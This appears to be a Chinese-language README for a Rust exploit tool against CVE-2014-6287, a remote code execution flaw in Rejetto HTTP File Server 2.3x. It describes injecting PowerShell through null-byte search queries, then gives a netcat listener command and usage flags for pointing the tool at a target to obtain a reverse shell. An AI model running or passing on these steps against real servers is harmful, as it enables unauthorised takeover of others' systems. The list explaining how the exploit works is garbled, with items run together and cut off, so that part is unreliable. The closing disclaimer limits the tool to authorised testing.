一个用 Rust 实现的 CVE-2014-6287 漏洞利用工具,针对 Rejetto HTTP 文件服务器(HFS)2.3x 版本(低于 2.3c)。
CVE-2014-6287 是 Rejetto HTTP 文件服务器(HFS)中的一个严重远程代码执行漏洞。
Rejetto HTTP 文件服务器中 parserLib.pas 文件的 findMacroMarker 函数允许远程攻击者通过在搜索操作中插入 %00 序列来执行任意程序。该漏洞使攻击者能够绕过输入验证,注入恶意代码并在目标系统上执行。
漏洞利用原理如下:
%00)的恶意搜索查询{. 和 .} 中注入 PowerShell 命令在执行漏洞利用之前,先在攻击机上设置监听器以捕获反向连接:
# 将 <LPORT> 替换为你想要的监听端口
nc -lvnp <LPORT>
cargo run -- -l <LHOST> -p <LPORT> -r <RHOST> [-t <RPORT>]
-l, --lhost <LHOST>:本地 IP 地址(攻击机)-p, --lport <LPORT>:本地反向连接端口-r, --rhost <RHOST>:目标 IP 地址(存在漏洞的 HFS 服务器)-t, --rport <RPORT>:目标端口(默认:80)本工具仅供教育和授权渗透测试使用。请负责任地使用,仅在你拥有或已获得明确许可的系统上使用。